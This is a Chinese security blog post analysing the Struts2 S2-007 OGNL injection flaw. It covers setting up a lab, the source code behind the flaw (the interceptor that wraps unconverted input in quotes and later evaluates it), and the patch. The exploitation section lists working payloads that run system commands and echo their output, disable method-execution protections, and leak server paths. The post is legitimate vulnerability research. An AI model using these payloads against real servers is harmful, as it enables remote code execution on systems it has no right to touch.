struts2系列漏洞 S2-007

前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。

S2-006 跳过了,因为它的描述太简陋了,无法复现出漏洞环境,以后有空或许会从源码层面再看一看。


环境搭建

2.2.1 版本 struts2 + tomcat9,给 Action 加上一个 int 类型的成员,修改传值的表单,再添加一个 input 的 result。

漏洞利用

在定义为 int 的成员对应的输入框处输入 OGNL 表达式:

1
'+(#application)+'

可以看到打印出了很多运行和配置的信息,贴几个借的执行命令和回显的表达式,也可以借鉴前面的 S2-003/S2-005 的 payload,这里贴几个借的 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 弹计算器
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+'

# 获取绝对路径
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath('/')))+'

# 执行系统命令并回显
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

'+(#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'

漏洞分析

根据漏洞公告,漏洞场景是在发生类型转换时,会将用户输入当作 OGNL 表达式来执行,比如上面漏洞利用中使用的字符串就无法转换为需要的 int 类型而导致错误。详细的漏洞报告里面说漏洞发生在 ConversionErrorInterceptor 类和 RepopulateConversionErrorFieldValidatorSupport 类中,在实际调试中,漏洞发生在 ConversionErrorInterceptor 类的 intercept 方法中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
@Override
public String intercept(ActionInvocation invocation) throws Exception {

ActionContext invocationContext = invocation.getInvocationContext();
Map<String, Object> conversionErrors = invocationContext.getConversionErrors();
ValueStack stack = invocationContext.getValueStack();

HashMap<Object, Object> fakie = null;

for (Map.Entry<String, Object> entry : conversionErrors.entrySet()) {
String propertyName = entry.getKey();
Object value = entry.getValue();

if (shouldAddError(propertyName, value)) {
String message = XWorkConverter.getConversionErrorMessage(propertyName, stack);

Object action = invocation.getAction();
if (action instanceof ValidationAware) {
ValidationAware va = (ValidationAware) action;
va.addFieldError(propertyName, message);
}

if (fakie == null) {
fakie = new HashMap<Object, Object>();
}

fakie.put(propertyName, getOverrideExpr(invocation, value));
}
}

if (fakie != null) {
// if there were some errors, put the original (fake) values in place right before the result
stack.getContext().put(ORIGINAL_PROPERTY_OVERRIDE, fakie);
invocation.addPreResultListener(new PreResultListener() {
public void beforeResult(ActionInvocation invocation, String resultCode) {
Map<Object, Object> fakie = (Map<Object, Object>) invocation.getInvocationContext().get(ORIGINAL_PROPERTY_OVERRIDE);

if (fakie != null) {
invocation.getStack().setExprOverrides(fakie);
}
}
});
}
return invocation.invoke();
}

如果发生了类型转换错误,哈希表 conversionErrors 中就会保存转换前的用户输入,即表示名的 propertyName 和变量值的 value,然后会执行:

1
shouldAddError(propertyName, value)

来判断是否添加这个错误,而:

1
2
3
protected boolean shouldAddError(String propertyName, Object value) {
return true;
}

这个函数的返回值用为 true,所以会执行:

1
fakie.put(propertyName, getOverrideExpr(invocation, value));

将他们放入一个新的哈希表 fakie 中,而 getOverrideExpr 是一个拼接字符串的操作:

1
2
3
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
return "'" + value + "'";
}

给输入拼上了前后两个单引号,所以漏洞利用时要进行闭合。

最后添加一个 PreResult 监听器(看名字是在渲染 Action 的 result 之前触发),并将 fakie 保存起来:

1
invocation.getStack().setExprOverrides(fakie);

接下来找找什么时候会用到,先看看 setExprOverrides 的处理:

1
2
3
4
5
6
7
public void setExprOverrides(Map<Object, Object> overrides) {
if (this.overrides == null) {
this.overrides = overrides;
} else {
this.overrides.putAll(overrides);
}
}

看名字 overrides,推测这个错误信息应该是用在渲染模板时的,因为类型转换失败,所以调用成员的 setter 必然是失败的,而渲染模板可能还需要这个成员,所以将原始输入保存起来,渲染模板时可以以成员名作为键访问。

根据变量名 overrides 找到 lookupForOverrides 方法:

1
2
3
4
5
6
private String lookupForOverrides(String expr) {
if ((overrides != null) && overrides.containsKey(expr)) {
expr = (String) overrides.get(expr);
}
return expr;
}

然后断点,找到将其作为表达式执行的 tryFindValue 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
private Object tryFindValue(String expr, Class asType) throws OgnlException {
Object value = null;
try {
expr = lookupForOverrides(expr);
value = getValue(expr, asType);
if (value == null) {
value = findInContext(expr);
}
} finally {
context.remove(THROW_EXCEPTION_ON_FAILURE);
}
return value;
}

可以看到将找到的原始输入当作表达式又执行了一遍,触发了漏洞。

漏洞修复

拼接单引号的时候加了点料:

1
2
3
4
5
6
7
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
return escape(value);
}

protected String escape(Object value) {
return "\"" + StringEscapeUtils.escapeJava(String.valueOf(value)) + "\"";
}

做了过滤,具体的可以看 StringEscapeUtils 类的 escapeJavaStyleString 方法。


参考文章:

https://xz.aliyun.com/t/7971


struts2系列漏洞 S2-007
http://yoursite.com/2020/07/18/struts2系列漏洞-S2-007/
作者
Aluvion
发布于
2020年7月18日
许可协议